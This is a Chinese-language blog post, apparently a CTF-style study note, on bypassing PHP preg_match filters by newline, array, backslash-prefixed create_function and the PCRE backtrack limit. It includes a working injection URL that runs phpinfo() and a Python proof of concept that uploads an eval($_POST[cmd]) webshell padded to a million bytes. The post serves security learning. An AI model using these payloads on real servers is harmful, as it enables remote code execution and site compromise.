【知识积累】正则绕过总结一下

前言

  • 正则绕过知识总结

一、换行符绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

include("flag.php");

highlight_file(__FILE__);

$c = $_GET['c'];

if (preg_match('/^flag$/i', $c) && $c !== 'flag') {
echo $flag;
}else{
echo "nonono";
}

image-20210828143654446

二、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

三、%5c绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$action= $_GET['action'] ? $_GET['action']: '';

$arg= $_GET['arg'] ? $_GET['arg']: '';

if(preg_match('/^[a-z0-9_]*$/isD',$action)) {

show_source(__FILE__);

}else {

$action('', $arg);

}

题目要求我们需要绕过正则才可以任意命令执行
正则的意思:/^[a-z0-9_]*$/isD

1
2
3
4
5
/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

payload

1
http://127.0.0.1/test.php?action=\create_function&arg=return%271%27;}phpinfo();/*

image-20210828145411198

四、PHP利用PCRE回溯次数限制绕过某些安全限制

参考文章Leavesongs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_php($data){
return preg_match('/<?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

回溯的过程

1
所以,我们题目中的正则<\?.*[(`;?>].*,假设匹配的输入是<?php phpinfo();//aaaaa,实际执行流程是这样的:

img

1
2
3
4
5
6
7
见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]。

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(`;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

这里回溯了八次

PHP的pcre.backtrack_limit限制利用

1
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

image-20210828165314190

image.png

image-20210828165602333

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:

image-20210828165804456

那么这道题的答案就呼之欲出了,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

对应的POC如下:

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO

url = "http://127.0.0.1/test.php"

files = {
'file': BytesIO(b'aaa<?php eval($_POST[cmd]);//'+b'a'*1000000)
}

r = requests.post(url,files=files, allow_redirects=False)
print(r.headers['Location'])

image-20210828170934106

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【知识积累】正则绕过总结一下

文章作者:孤桜懶契

发布时间:2021年08月26日 - 20:53:06

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/116.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------